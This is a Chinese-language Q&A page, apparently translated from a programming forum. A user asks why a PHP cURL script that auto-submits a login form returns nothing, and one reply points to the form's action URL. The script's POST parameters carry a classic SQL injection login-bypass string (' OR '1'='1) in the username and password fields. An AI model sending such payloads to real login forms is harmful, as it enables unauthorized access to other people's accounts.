首页 文章

Webbot通过php cURL自动提交表单

提问于
浏览
0

我只是想通过php和cURL自动登录登录表单

我有:

<?php
# get url to form
$url = "http://thesite.com/login.php";
$ch = curl_init($url); # initialize that form

#run value of $_POST variable in form fields from above url.
$params = "username='' OR '1'='1&password='' OR '1'='1&login-php-submit-button=submit";

## set cURL options
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);  #set parameter $_POST fields
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
$response = curl_exec($ch);

    if (!$response) {
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch); // make sure we closeany current curl sessions
        die(stripslashes($http_code.' Can\'t connect to server.'));
    }

//curl_close($ch); // close curl session 


## echo the result from cURL 'ing
echo $response;

curl_close($ch);
?>

当我访问此脚本时,它只显示 $url 的值,就好像我刚刚访问了URL一样,它没有显示任何错误消息,如"Wrong pass"或任何其他内容 .

我觉得这里可能没有正确设置 $params . 我已经无情地试图让它发挥作用 . 我目前已经设置了 $params 值的设置:

formnameofinputvalue = valueToInputIntoFormElement

其中 & 分隔每个formInputName = formInputValue

有谁看到我在这里做错了什么?谢谢 .

1 回答

  • 1

    login.php脚本是否将值提交给另一个URL?检查login.php页面的源代码,看看表单是否正在提交给另一个URL(action =在表单元素中) . 如果是这样,您将需要使用该URL,因为这是提交值的位置 . login.php只是收集值的表单 .

    另一方面,login.php可能会提交给自己,在这种情况下,您拥有正确的URL .

相关问题